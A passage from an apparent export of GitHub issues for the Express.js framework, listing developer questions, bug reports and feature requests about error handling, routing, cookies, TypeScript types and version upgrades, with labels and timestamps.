- Improved Developer Experience: Automatically generating Swagger UI documentation will enhance the development experience by providing a comprehensive and interactive API reference.
- Easier Documentation Maintenance: With automatic Swagger UI generation, developers won't have to manually update API documentation as it will be synchronized with the codebase.
- Enhanced Collaboration: Swagger UI provides a user-friendly interface for exploring and understanding the API, making it easier for team members and stakeholders to collaborate and provide feedback.

**Potential Challenges:**

- Integrating Swagger UI into Express may involve addressing the following challenges:
- 
- Identifying a suitable middleware or plugin that seamlessly integrates with Express and supports automatic Swagger UI generation.
- Ensuring compatibility with different versions of Ex... [TRUNCATED]",discuss,2023-05-17T07:33:33Z,2023-10-11T08:43:58Z,7
expressjs/express,1712492086,[FEATURE REQUEST]: Built-in `express-async-errors`,"I use a custom express error handler and found that if the router is async, the error handler doesn't work... I found a hack ([express-async-errors](https://github.com/davidbanham/express-async-errors)), but I don't like using packages that edit libraries, so why not just add support for async errors directly in express v4?",,2023-05-16T18:05:12Z,2023-05-16T18:06:55Z,4
expressjs/express,1702787779,req & res types,"Hello there, I am using Express.js with TypeScript, and I want to put my own custom stuff and use it in every router.

Right now, I am using this:

`index.ts`
```ts
// Other code...
app.listen(3000, () => console.log(""Running""));

declare module ""express-serve-static-core"" {
  interface Request {
    lang: Language;
  }
  interface Response {
    sendError: (
      error: Parameters<typeof getErrorMessage>[0],
      status: HttpCodes,
      arg?: any
    ) => Promise<void>;
  }
}

```

Is there a better way to do this?",question,2023-05-09T21:36:47Z,2023-05-20T18:54:44Z,2
expressjs/express,1698971887,express request and response processing ,"I see that expressjs app has a `stack` of `Layer` object Arrays. Which is the function that is used to pass the 

I want to know:
- When a request is sent from the `http` client which `function is invoked first` and how is the stack array functions with `middlewares` invoked and results passed stepwise? 
- Here is an example `app.get(path, [middleware(req, res, next), m2(req, res, next), m3(req, res, next), m4(req, res, next)], handler(req, res))` => which function invokes functions stepwise => `[middleware(req, res, next), m2(req, res, next), m3(req, res, next), m4(req, res, next), handler(req, res)]`
- Where is the `request` and `response` objects created that is passed as `arguments`?
- Where is the `response` object callback function for `send` => `onfinish`/ `onend` functions which I can use to get the `send`/ `sendfile's` response object into a `variable` for an `interceptor`?

I am looking for the entry of the request and exit if the response (with the response result).
 
",question,2023-05-07T09:14:52Z,2024-08-23T08:54:35Z,2
expressjs/express,1698773915,Request triager role for <Nicaneri>,"
![Uploading Screenshot_20230507_044347_796fe9d23d8d59ff5360ab8ee32f2fda.jpg…]()
I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express
",,2023-05-06T20:51:27Z,2024-04-11T04:45:54Z,1
expressjs/express,1696961102,about ` await next(),"```js
const express = require('express');
const app = express();

const vv = {
}

const middleOne = async (req, res, next) => {
  await next();
  console.log(vv, 'middle1');
}

const haha = () => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve('hahahhahhah');
    }, 3000);
  })
}

const middleTwo = async (req, res, next) => {
  const result = await haha();
  vv.uname = result;
  console.log(vv, 3232);
  next();
}

app.use(middleOne);
app.use(middleTwo);


app.get('/', (req, res, next) => {
  res.send({
    'cute': 'murphy'
  });
})


app.listen(3002, (res) => {
  console.log(res, 22);
})
```
how middleOne wait the result of middleTwo `` and print the newest result of vv.
now it print 
```
{} middle1
{ uname: 'hahahhahhah' } 3232
```",,2023-05-05T03:42:40Z,2023-05-05T04:51:14Z,1
expressjs/express,1695873634,Force Content-Type,"Hello,

When using res.set() to set the response headers, express prevent invalid media types to be set as Content-Type. How can I force express to accept an invalid media type?

Regards,",question,2023-05-04T12:02:10Z,2023-05-04T16:41:07Z,4
expressjs/express,1695580806,Error Handling Broken,"*Continuing from; https://github.com/expressjs/express/discussions/5182*

After updating to `4.18.x` from `4.17.x` it appears that the error handling middleware has broken in a sense.

On version `4.17.x`  the below handles and the `e.type` below are perfectly fine and returns the user to another page. However, on `4.18.x` it doesn't even execute this code on `4.18` versions.

```js
app.post('/auth/register', passport.authenticate('2fa-totp', {failureRedirect: `/register`}), async function(req, res) {
	// Do some things. however, the passport packages throws the error.
	// Error; {type: ""test"", code: 401}
});

app.use(function(e, req, res, next) {
        if(e?.type === ""test"") return res.redirect(`/login?err`);
    });
```

For passports error handling [here](https://github.com/FAXES/passport-2fa-faxes/blob/main/lib/strategy.js#L80) is where it's handled from.",awaiting more info,2023-05-04T09:02:06Z,2023-06-10T06:25:25Z,7
expressjs/express,1692393500,RangeError: Maximum call stack size exceeded,"I am Having Big Application which having more than 3000 routes(end points) ,Im getting Maximum call stack error for the last set of Api's when i hit the api that declared at top level i got the output can anyone help me for adding more routes in node, express js",awaiting more info,2023-05-02T13:07:43Z,2023-05-03T12:47:24Z,3
expressjs/express,1689732554,"Cookies set on development, but not on production","2 Docker containers:

1. **Server**: Express.JS REST API with JWT authentication.
2. **Client**: Next.JS app that uses Axios to talk with the server.

I tested it on localhost with Docker Compose: Everything working fine (both Postman and the browser successfully store the token as a cookie to use on subsequent requests.).

I deployed it to Google Cloud Run (one service for each container). Everything working fine except that now only requests made through Postman are storing the token as a cookie.

The browser (the Next.JS app) no longer does the same, even though the request returns a successful response there is no token in the browser cookies.

I did some research, found a few similar problems, and the solutions usually involve setting up some CORS configurations, so I updated my code by adding these configurations, but the issue remains.

I am currently trying it like this:

Server-side:
```
export const login = async (req: Request, res: Response) => {

...

  const accessToken = jwt.sign({ username, id, isAdmin }, jwtSecret, {
    expiresIn: ""12h"",
  });

  res
    .status(200)
    .cookie(""accessToken-Myapp"", accessToken, {
      secure: true,
      sameSite: ""none"",
    })
    .end();
};
```

```
const app = express();

app.use(helmet());
app.use(
  rateLimit({
    max: 300,
    windowMs: 60 * 60 * 1000,
    message: ""Please try again later!"",
  })
);

const corsConfig = {
  origin: true,
  credentials: true,
  allowed... [TRUNCATED]",question,2023-04-30T00:42:42Z,2024-08-23T08:55:20Z,3
expressjs/express,1687526380,rest api version best practice?,"Hi Express,

when I want to manage multiple restufl api versions in one codebase. I faced a problem. I don't copy v1 version fold to v2 then change v2 folder source code,. In this case, it would create so much duplicated source code. Is there a way that we can identify controller/service modules to be use in specific api versions? for example, some controller we could use both for v1 and v2, some of controllers , we only use it in v2. Just like ""versioning"" middleware in aspnet core. thx~

https://www.infoworld.com/article/3562355/how-to-use-api-versioning-in-aspnet-core.html",,2023-04-27T20:46:14Z,2024-09-02T16:43:17Z,1
expressjs/express,1680052321,What to do if one has other packages that require mime@^2,"Express requires mime@1.6. I have other packages that require mime@^2. Due to mime changing `lookup()` to `getType()` in version 2, this gives me either an error in express when using mime@^2 or an error in my other dependencies when using mime^1.6.

What can one do to fix this?",question,2023-04-23T14:46:11Z,2023-04-23T14:51:26Z,2
expressjs/express,1678957480,oidc does not exist on Request type,"# Issue
```typescript
import { Request } from 'express'

...

export async function getServerSideProps(context: GetServerSidePropsContext & { req: Request }) {
  const variable = context.req?.oidc?.user['parameter'];
}

``` 
<img width=""791"" alt=""Screenshot 2023-04-21 at 11 52 07 AM"" src=""https://user-images.githubusercontent.com/61043345/233713158-faedc76f-d76b-4f20-ab7b-84d465fad934.png"">

## Tried

- Upgrading to 4.18.x
- Upgrading to beta
- Restarting ts server
- re-yarn-ing
",discuss,2023-04-21T18:55:16Z,2024-09-02T16:58:39Z,2
expressjs/express,1678927748,Request triager role for Ivaylo-Iv,"

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",discuss,2023-04-21T18:28:59Z,2024-04-11T04:43:06Z,1
expressjs/express,1669626347,express error handling not work on async request handler,"when i throw one error on async request handler the app crache but when i throw a error in a no async request the express error handler work
![image](https://user-images.githubusercontent.com/68165179/232260385-34a119f1-fe45-499d-b649-1a4a445ffdbb.png)
page result
/api/1 :
json create by my  `Errors.Handler ` function
![image](https://user-images.githubusercontent.com/68165179/232260553-f769d0b6-d2fb-4a42-b64d-4fc52853c3fe.png)
/api/2
![image](https://user-images.githubusercontent.com/68165179/232260468-0a74cd8f-8e72-47e6-ba97-846fa0296c06.png)
![image](https://user-images.githubusercontent.com/68165179/232260495-c76e801e-b0fc-4b0f-ade7-339ce6360c47.png)
",question,2023-04-16T01:02:53Z,2023-04-16T01:05:02Z,2
expressjs/express,1663064829,POST route not found at production server,"In my project I'm using express 4.18.1 and for some reason there are some routes that are not working when I deploy the project at the production server. At local host all the routes work perfectly.

The project has the the /user route with these methods:
router.post('/login', async (req, res) => {...}
router.post('/register', async (req, res, next) => {...}
router.put('/recoverypassword', async (req, res) => {...}
router.put('/update', async (req, res) => {...}
router.put('/updatepassword',	async (req, res) => {...}

It's weird because at localhost, ALL the routes work perfectly and at the production server the POST method doesn't work and I got the following answer when testing with Insomnia:

```
NotFoundError: Route not Found
    at eval (webpack://mercado-do-malte-api/./src/routes/user.ts?:142:10)
    at Generator.next (<anonymous>)
    at /var/www/mdm-api/node_modules/tslib/tslib.js:118:75
    at new Promise (<anonymous>)
    at Object.__awaiter (/var/www/mdm-api/node_modules/tslib/tslib.js:114:16)
    at eval (webpack://mercado-do-malte-api/./src/routes/user.ts?:141:41)
    at Layer.handle [as handle_request] (/var/www/mdm-api/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/var/www/mdm-api/node_modules/express/lib/router/index.js:328:13)
    at /var/www/mdm-api/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/var/www/mdm-api/node_modules/express/lib/router/index.js:346:12)
```
My server is up an... [TRUNCATED]",,2023-04-11T19:11:27Z,2023-04-14T23:07:39Z,4
expressjs/express,1662510885,'/from' route in app.get() gives Cannot GET /,"```
const express = require('express')
const app = express()
const port = 3000


app.get('/hell', (req, res) => {
  res.send(""from"")
})

app.get('/to', (req, res) => {
    res.send(""Hello World"")
})

app.get('/from', (req, res) => {
  res.send(""Redirect from this route to another"")
})
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

In the above code when I hit http://localhost:3000/from in the URL it does not work and sends the below response:
Cannot GET /
I think this is an issue.",,2023-04-11T13:40:00Z,2023-04-11T17:32:27Z,2
expressjs/express,1648645886,Im trying to use outside function in the html that render with express,"Here is the code:

index.js
```
const express = require(""express"")
const app = express()
const path = require(""path"")
app.get('/', async function(req, res) {
	res.sendFile(path.join(__dirname, '/index.html'));
})
app.listen(3000);
`

index.html
```
<!DOCTYPE html>
<html>
    <head>
        <title>Test</title>
    </head>
    <body onload=""test()"">
		<script src=""./test.js""></script>
    </body>
</html>
`

test.js
```
function test() {
    alert(""working"");
}
`

But the alert not pop up.
How to fix it?",,2023-03-31T04:24:13Z,2023-03-31T12:29:24Z,0
expressjs/express,1618926921,Request triager role for sanjarbek-ismatov,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-03-10T12:47:50Z,2024-04-11T04:44:07Z,1
expressjs/express,1607891755,this.location(address).get('Location') has Error With：  「TypeError: Cannot read property 'get' of undefined」,"
![image](https://user-images.githubusercontent.com/77950278/222633592-d33cf273-afb5-4571-ad6a-4d49d4f0a631.png)

Problem Description:
In my project, there are functions related to redirection using Express's redirect, but when I use the `npm run dev` command to start my project, the following related errors will appear:

```shell
error   TypeError: Cannot read property 'get' of undefined
    at ServerResponse.redirect (/project/console/common/temp/node_modules/.pnpm/express@4.18.2/node_modules/express/lib/response.js:953:35)
    at RenderMiddlewareCreator.middleware (/project/console/common/temp/node_modules/.pnpm/@xxx+dev-server-middlewares@0.2.25_7535b9789efd9d6da54b7be892d71494/node_modules/@xxx/dev-server-middlewares/dist/js/node/renderMiddleware/RenderMiddlewareCreator.ts:187:7)
    at runMicrotasks (<anonymous>)
    at processTicksAndRejections (internal/process/task_queues.js:93:5)
The script failed with exit code 1
```

Then I found the corresponding file `/project/console/common/temp/node_modules/.pnpm/express@4.18.2/node_modules/express/lib/response.js`, and respectively in `redirect` and `location` Add corresponding printing operations to the two functions.
```js
// line: 936
res. redirect = function redirect(url) {
   var address = url;
   var body;
   var status = 302;
   console.log('redirect URL:', url);
   // allow status / url
   if (arguments. length === 2) {
     if (typeof arguments[0] === 'number') {
       status = arguments[0]... [TRUNCATED]",,2023-03-03T03:46:16Z,2023-04-07T01:50:52Z,4
expressjs/express,1599948084,How to match all get() routes?,"I'm using express 5 and saw the [release notes](https://expressjs.com/en/guide/migrating-5.html#path-syntax) as well as this [other issue](https://github.com/expressjs/express/issues/4844).  However, I have not been able to get this to work as a way to match all routes:

```
app.get('.*', callback)
```

this has worked:
```
app.use(callback)
```",question,2023-02-26T06:34:04Z,2023-02-26T06:37:55Z,1
expressjs/express,1599011289,pm2 stats: req/min is incorrect,"When running with pm2, there's a metric exposed for HTTP Req/Min.

I believe this is incorrect, and it should say Req/Sec - All of my testing seems to indicate it's actually measuring requests per second, instead of per minute.",awaiting more info,2023-02-24T17:14:10Z,2023-02-24T19:18:30Z,2
expressjs/express,1538372085,How can you clear the view cache for a single file?,"My views aren't updating after editing in production, i realized there's a ""view cache"" that stores them in memory when the app is in production mode (which is why i didnt have this problem in development).

How can i clear the cache, preferably for a single specific file?",,2023-01-18T17:12:20Z,2023-01-18T17:22:27Z,1
expressjs/express,1537138246,Error Handler middleware doesn't work with TypeScript,"The following use case of error handling middleware won't work:
```typescript
app.use(
  error: Error,
  req: Request,
  res: Response,
  next: NextFunction
) => {
  console.error(error)
  res.json(processError(error))
}
```
The reason is that TypeScript strips out the `next` argument in the resulting `.js` bundle because it's unused so the middleware ends up being treated as usual middleware instead of an error handler.

_I have found no way to disable this unused arguments stripping with TypeScript configuration but feel free to suggest some proper way to do that if one exists._

**The temporary solution** I used is to call `next()` after `res.json(...)` which shouldn't really affect anything.",duplicate,2023-01-17T22:55:21Z,2023-01-17T23:02:05Z,3
expressjs/express,1529979849,"(idea) Create a ""Security Mode"" for Express","What you think to create a ""Security Mode"" for Express? Like:

```js
const express = require('express')
const app = express({ securityMode: true }) //  A simple example of use
const port = 3000

app.get('/', (req, res) => {
  res.send(""Hey, i am running on 'security mode' of express. Try your luck."")
})

app.listen(port, () => {
  console.log(`Security Mode app listening on port ${port}`)
})
```

It would work as a module that would add several protections aimed at the web that are not normally integrated, for example: The exclusion of the header ""x-powered-by"" where it states that the server runs Express; Blocking of requests with ""suspicious"" user-agents.. Some protections against HTML Injection in SSR or XSS, which automatically sanitize these values ​​and so on.

I like to emphasize this idea because there is the ""Helmet"" library. But also, in the old days, we needed to use the ""body-parser"" library separately, why not unify everything?",,2023-01-12T02:01:21Z,2023-01-12T02:09:01Z,1
expressjs/express,1526985406,Vulnerability CVE-2017-20165 in debug package,"The `debug` package is currently pinned to version 2.6.9 which has the following vulnerability:

```
  ✗ Regular Expression Denial of Service (ReDoS) [Low Severity][https://security.snyk.io/vuln/SNYK-JS-DEBUG-3227433] in debug@2.6.9
    introduced by @sitecore-jss/sitecore-jss-nextjs@20.1.3 > @sitecore-jss/sitecore-jss-dev-tools@20.1.3 > express@4.18.2 > debug@2.6.9 and 4 other path(s)
  This issue was fixed in versions: 3.1.0
```

https://www.cve.org/CVERecord?id=CVE-2017-20165
https://security.snyk.io/vuln/SNYK-JS-DEBUG-3227433

https://github.com/expressjs/express/blob/8368dc178af16b91b576c4c1d135f701a0007e5d/package.json#L38

Which can be remediated by upgrading the package to at least version 3.1.0.",invalid,2023-01-10T08:41:20Z,2023-01-11T18:58:16Z,13
expressjs/express,1516658148,res.locals value not available in template engine,"Hey, I have this middleware in app.js
 ```js
app.use(""*"", isUserLoggedIn);

```
within isUserLoggedInMiddleware.js I have
```js
import User from ""../../../model/usersSchema.js"";
import jwt from ""jsonwebtoken"";

export default function isUserLoggedIn(req, res, next) {
	const jsonWebToken = req.cookies.jwt;

	if (jsonWebToken) {
		//
		jwt.verify(jsonWebToken, process.env.JWT_SECRET, async (error, decodedToken) => {
			//
			if (error) {
				console.log(error.message);
				res.locals.user = """";
				next();
			} //
			else {
				const user = await User.findById(decodedToken.id).lean();
				res.locals.user = user;
				next();
			}
		});
	} //
	else {
		console.log(""user is not logged in"");
		res.locals.user = """";
		next();
	}
}
```
in my navigation.hbs template file I have
```hbs
<nav>
	<h1><a href=""/"">Ninja Smoothies</a></h1>
	<ul>
			{{#if user}} 
				<span>Welcome, {{user.email}}</span>
				<li><a href=""/logout"">Log out</a></li>
			{{else}}
				<li><a href=""/login"">Log in</a></li>
				<li><a href=""/signup"" class=""btn"">Sign up</a></li>
			{{/if}}
	</ul>
</nav>
```
prior to to upgrading to express@>=5.0.0-beta.1, once a user logged in, the navigation would only show the `Log out` option, but after upgrading, it still shows the `Log in` and `Sign up` options when a user is logged in. 

I tried to see if I could access the user on `res.locals.user = user` within the template engine, and it seems like it's not avaialble within it... [TRUNCATED]",,2023-01-02T19:16:00Z,2023-01-12T02:01:43Z,3
expressjs/express,1513920136,V5: Custom error handling middleware for Routers,"As per the [ExpressJS Error Handling Guide](https://expressjs.com/en/guide/error-handling.html), it's really easy to set up custom error handling for the whole app in Express 5;

```js
const bodyParser = require('body-parser')
const methodOverride = require('method-override')

app.use(bodyParser.urlencoded({
  extended: true
}))
app.use(bodyParser.json())
app.use(methodOverride())
app.use((err, req, res, next) => {
  // logic
})
```
*Result: `app` uses custom error handling*

However, I noticed the same syntax doesn't seem to work when trying to apply error handling middleware to a `Router`:

```js
const bodyParser = require('body-parser')
const methodOverride = require('method-override')

router = express.Router();

router.use(methodOverride())
router.use((err, req, res, next) => {
  // logic
})

app.use(bodyParser.urlencoded({
  extended: true
}))
app.use(bodyParser.json())
app.use(router)
```
*Result: custom error handling defined on `router` is never called*","question,module:router",2022-12-29T17:24:00Z,2022-12-29T17:38:34Z,7
expressjs/express,1513364540,Is there a plan to support set-cookie2?,"https://www.rfc-editor.org/rfc/rfc2965

I think set-cookie2 is more secure than set-cookie.
But I cannot use this in expressjs.

I just wonder if there is a plan to support this in the future.","question,future",2022-12-29T04:29:44Z,2023-02-25T05:27:50Z,10
expressjs/express,3095893520,fs module not found in React 5,"When I follow installation guide on this link
https://expressjs.com/en/guide/database-integration.html#sqlite
I get error fs module not found
People on StackOverFlow advice to downgrade from React latest to React 4
https://stackoverflow.com/questions/70591567/module-not-found-error-cant-resolve-fs-in-react
Is there anyway to connect SQLite Database in React 5 using ExpressJS?",question,2022-12-19T08:42:34Z,2025-05-28T03:44:58Z,0
expressjs/express,1498709174,Change `var` to `const` and `let`,"Is there any reason why we're still using `var` as opposed to `const` and `let`?

",question,2022-12-15T16:12:02Z,2022-12-15T18:16:26Z,1
expressjs/express,1487865071,HTTP/2,"Does it support HTTP/2 now? If not, when?
```
const server = http2.createSecureServer({
  key: fs.readFileSync('server.key'),
  cert: fs.readFileSync('server.crt')
}, app);
```
```
error TS2345: Argument of type 'Express' is not assignable to parameter of type '(request: Http2ServerRequest, response: Http2ServerResponse) => void'.
  Types of parameters 'req' and 'request' are incompatible.
    Type 'Http2ServerRequest' is not assignable to type 'IncomingMessage | Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
      Type 'Http2ServerRequest' is missing the following properties from type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>': get, header, accepts, acceptsCharsets, and 26 more.

18 }, app);
```",,2022-12-10T03:21:58Z,2022-12-10T03:30:46Z,1
expressjs/express,1487286005,`item[]` format is parsed differently in express v5 compared to v4,"In express v4, if request contained query parameters suffixed with `[]` such as `items[]`. It would automatically be parsed into an array. This is no longer the case with express v5. 

","5.x,question",2022-12-09T19:05:34Z,2022-12-09T19:12:11Z,4
expressjs/express,1484798920,Express skips middleware instead of throwing an error.,"Check out this code
```js
const express = require('express');

const app = express();

function buggyMiddleware (paramOne, req, res, next) { 
  console.log('buggy middleware');
  req.bugProp = paramOne;
}      

app.get('/', buggyMiddleware, (req, res) => res.send('BugProp: ' + req.bugProp));

app.listen(3000);
```
In the above example, `buggyMiddleware` is not executed at all and no error is thrown too. Also, you can observe the request is successfully completed, even though `next()` is never called.

> PS: This issue can be fixed in code by the binding value of `paramOne`  like this
> ```js
> app.get('/', buggyMiddleware.bind(null, 'paramOneValue'), (req, res) => res.send('BugProp: ' + req.bugProp));
> ```

But the sneaky bug is still there like a ninja to break the system.

#### Versions
Express: v4.18.2
Node: v18.12.0",,2022-12-08T14:47:11Z,2022-12-08T15:51:43Z,3
expressjs/express,1483455683,HTML in the `res.redirect()` method is missing a `DOCTYPE` and `<title>` element,"The response body of a redirect via the `res.redirect()` method will be `<p>${statuses.message[status]} Redirecting to <a href=""${url}"">${url}</a></p>`, which is invalid HTML without a `DOCTYPE` and `<title>` element.
In particular, the absence of a `<title>` element is detrimental to the user.

[RFC 9110, 15.4. Redirection 3xx](https://datatracker.ietf.org/doc/html/rfc9110#section-15.4), states that the user agent behavior when the `Location` header field is set with status code 3xx is ""the user agent MAY automatically redirect its request to the URI"".
Note that it is **MAY**.

And in fact, depending on the user's environment, automatic redirection may not occur and the contents of the response body may be displayed on the screen.
In the old days, there was an option to disable redirects in Presto Opera's advanced settings.
Even now, when Android Firefox redirects to an app-linked URL with 3xx, the app is automatically launched, but the browser screen still displays the 3xx response body.

Therefore, it would be desirable to set the `DOCTYPE` and `<title>` element even for 3xx screens.


# Improvement plan

https://github.com/expressjs/express/blob/8368dc178af16b91b576c4c1d135f701a0007e5d/lib/response.js#L963

↓
```javascript
body = '<!DOCTYPE html><title>' + statuses.message[status] + '</title><p>' + statuses.message[status] + '. Redirecting to <a href=""' + u + '"">' + u + '</a></p>'
```

",awaiting more info,2022-12-08T02:56:38Z,2026-01-16T15:29:03Z,4
expressjs/express,1480916641,How to serve symlinked static file,"Hi, I'm using ```app.use(`/${STATIC_PATH}`, express.static(LOCAL_ROOT_DIR))``` to serve static file and it works quite well.
However, if the static file is symlinked, it return 404 error. 

Is there a way to enable symlinked file via static files in express?

",awaiting more info,2022-12-07T04:34:58Z,2023-02-16T17:02:08Z,2
expressjs/express,1477564313,ECONNRESET with node v19,"Hi,

We are observing some interesting behavior when using node v19, the requests are failing if we call `next(error)` after calling `response.send(data)`, but only after the first error is returned.

Minimal repro:

```javascript
const express = require('express');
const app = express();
const axios = require('axios');

let counter = 0;

app.get('/', (req, res, next) => {
    counter++;
    console.log(counter, 'request');
    if (counter > 1) {
        res.send(counter.toString());
        next(counter + ' error');
        return;
    }
    res.send(counter.toString());
    next();
});

app.listen(6000, async () => {
    for (let i = 0; i < 4; i++) {
        try {
            const res = await axios.get('http://localhost:6000');
            console.log(res.data, 'success');
        } catch (e) {
            console.log(e?.response?.data || e?.code, 'error');
        }
        console.log('****************');
    }
});

```

Runtime log with node v18 and v16:
```
npm run start

> test@1.0.0 start
> node index.js

1 request
1 success
****************
2 request
2 success
****************
3 request
3 success
****************
4 request
4 success
****************
2 error
3 error
4 error
```

Runtime log with node v19:
```
npm run start

> test@1.0.0 start
> node index.js

1 request
1 success
****************
2 request
2 success
****************
ECONNRESET error
****************
3 request
3 success
***... [TRUNCATED]",awaiting more info,2022-12-05T22:17:05Z,2022-12-05T23:11:18Z,3
expressjs/express,1476908810,In the documentation on debugging Express mention VSCode,"On the following page, https://expressjs.com/en/guide/debugging.html#resources, maybe mention that you can debug Express with tools like VSCode. Thanks!

I was using console.log() for debugging. :|

Related [question](https://stackoverflow.com/a/74690816/441016). 

",,2022-12-05T16:15:40Z,2022-12-05T16:19:12Z,1
expressjs/express,1453997401,How to read form post and save posted file,"Hi I'm trying to send a file to the server and then save it but I can't seem to find any of the form items. And I don't know how to save the file to disk. 

Here is what I have on the client JS: 
```
// user selects a file and then clicks the upload button
var ajax = null;

function upload() {
   try {

      var file = document.getElementById('file').files[0];
      console.log(""File "" + file);
      ajax = new XMLHttpRequest;
      
      var formData = new FormData;
      formData.append('name', ""test name"");
      formData.append('file', file);
      
      ajax.upload.addEventListener(""progress"", myProgressHandler, false);
      ajax.addEventListener('load', myOnLoadHandler, false);
      ajax.open('POST', '/upload', false);
      ajax.send(formData);
      console.log(""Sending form"")
   }
   catch(error) {
      console.log(error);
   }
}

function myProgressHandler(event) {
  //your code to track upload progress
  var p = Math.floor(event.loaded/event.total*100);
  progressBar.style.width = p + ""%"";
  progressBarLabel.textContent = p+'%';
}

function myOnLoadHandler(event) {
  // your code on finished upload
  alert (event.target.responseText);
}
```
Here is what I have in my server index.js:  
```

const express = require('express');
const app = module.exports = express();
const port = 3000;

//var multiparty = require('multiparty');
app.use(express.static('public'))

app.get('/', (req, res) => {
  res.send('Hello Wo... [TRUNCATED]",,2022-11-17T21:09:41Z,2022-11-18T10:28:53Z,2
expressjs/express,1442538971,Question,** removed **,,2022-11-09T18:12:26Z,2022-11-09T18:19:15Z,2
expressjs/express,1440783511,[suggestion] Add a new method like response.sendValue() to support number values.,"### Issue
It's always painful to send a number as a response,
I have to un-necessarily convert the value to String before sending a response if value is a number,
however, if a use case exists when the same controller sends mixed types as response then there is an additional step involved to convert the value to String only if it's a number.
Even explicitly chaining with `status()` like `res.status(200).send(aNumberValue)` doesn't help.
### Proposal
how about Adding a new Method like response.sendValue() which can be a wrapper on top of response.send() which will send the value as it is without setting it as the status of the response?
something like:
```Javascript
res.sendValue = function sendValue(value) {
  if (typeof value === ""number"") {
    value = String(value);
  }
  return this.send(value);
};
```",question,2022-11-08T19:29:38Z,2022-11-08T20:19:18Z,4
expressjs/express,1433914115,Update Express 5 branch with latest updates from 4.18.x,"Hello Express Team!

I was comparing the branches from v5 which has the updates from v4.17.3 but which is a bit far from the latest version.

Is there a plan to keep the beta/next version in sync?

Thanks.",,2022-11-02T23:30:08Z,2022-11-02T23:45:49Z,12
expressjs/express,1425864793,Express hangs if no response is sent,"If I create a route that gives no response, Express will hang. I understand that this is incorrect code, but as someone who teaches programming, it is a mistake I have seen almost everyone make, and which can be very confusing to debug for a beginner.

To make this much easier for users of the library to debug, it could be logical to give a `500` with the error message ""The route callback did not send a response"". Honestly, any error message would be more helpful than a freeze while waitng for a response that will never come.

This issue can be trivially reproduced by the following code:

```js
import express from 'express';

let app = express();

app.get('/', (req, res) => {
  console.log(""Just about to hang forever"");
});

app.listen(5000, () => console.log('started on http://localhost:5000/'));
```

Attempting to load the URL in a web browser will lead to the server freezing, with no response being given.","question,awaiting more info",2022-10-27T15:46:51Z,2022-10-28T01:26:22Z,4
expressjs/express,1423279196,Would love a README update for non-linear architecture examples,"The examples show a linear setup, but no one does this -- which is great for quickstart, but real apis always use /v1/foo1/foo2/

What is the ""recommended"" way to have a nested hierarchy with /v1/index.js, /v1/foo/index.js, for example? Although everyone seems to do this, I can really find no guides on it -- even if I do figure it out in my own way, it's likely not standard.","docs,question",2022-10-26T00:52:52Z,2024-04-26T03:48:24Z,6
expressjs/express,1401721558,Cannot parse params in Router middleware,"Hey, so I'm working on a directory handler that uses the express.Router() in a module, then I `app.use(""/"", require(<module>))` which one of the directories has a parameter in it which causes an DS is not define error within FS

```
const express = require(""express"");
const fs = require(""fs"");

const router = express.Router({mergeParams: true});

router.get(""/cdn/:image"", function (req, res) { // This is the line with the error
  if(new RegExp(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/g).test(req.params.image)) {
    if(fs.existsSync(process.cwd() + '/app/images/' + req.params.image + '.jpg')) {
      res.sendFile(process.cwd() + '/app/images/' + req.params.image + '.jpg')
    } else {
      res.send(""404 Not Found."")
    }
  } else {
    res.send(""404 Not Found."")
  }
});

module.exports = router;
````

```
ReferenceError: fs is not defined
    at C:\Users\diamo\Desktop\Local Server V2\app\routes\API\cdn.js:6:5
\index.js:360:14)
    at param (C:\Users\diamo\node_modules\express\lib\router\index.js:371:14)
    at Function.process_params (C:\Users\diamo\node_modules\express\lib\router\index.js:416:3)
ss\lib\router\index.js:281:22
    at Function.process_params (C:\Users\diamo\node_modules\express\lib\router\index.js:341:12)     
    at next (C:\Users\diamo\node_modules\express\lib\router\index.js:275:10)
    at Function.handle (C:\Users\diamo\node_modules\express\lib\router\index.js:174:3)
    at router (C:\Users\diamo\nod... [TRUNCATED]",awaiting more info,2022-10-07T22:38:20Z,2022-10-07T22:49:53Z,2
expressjs/express,1401635105,sendfile test fails with nodejs 18,"I'm seeing this with RHEL build of nodejs 18, reported also in https://bugzilla.redhat.com/show_bug.cgi?id=2133093:

Version-Release number of selected component (if applicable):
nodejs-18.8.0-1.module_el8.7.0+1206+cd2bf569.x86_64

Steps to Reproduce:

1. git clone https://github.com/expressjs/express.git
1. cd express
1. git checkout 4.18.1
1. npm install
1. npm test

Actual results:
```
<long output scratched>
    .sendfile(path, fn)
      ✔ should invoke the callback when complete
      ✔ should utilize the same options as express.static()
      ✔ should invoke the callback when client aborts
      ✔ should invoke the callback when client already aborted
      ✔ should invoke the callback without error when HEAD
      ✔ should invoke the callback without error when 304
      ✔ should invoke the callback on 404
      ✔ should not override manual content-types
      ✔ should invoke the callback on 403
      1) should invoke the callback on socket error


  1086 passing (3s)
  1 failing

  1) res
       .sendfile(path, fn)
         should invoke the callback on socket error:
     Uncaught Error: broken!
      at /opt/app-root/src/express/test/res.sendFile.js:1058:34
      at Layer.handle [as handle_request] (lib/router/layer.js:95:5)
      at trim_prefix (lib/router/index.js:328:13)
      at /opt/app-root/src/express/lib/router/index.js:286:9
      at Function.process_params (lib/router/index.js:346:12)
      at next (lib/router/index.... [TRUNCATED]",tests,2022-10-07T20:25:23Z,2022-10-07T21:49:35Z,3
expressjs/express,1393322455,Critical dependency: the request of a dependency is an expression,"`WARNING in ./node_modules/.pnpm/express@4.18.1/node_modules/express/lib/view.js 81:13-25
Critical dependency: the request of a dependency is an expression
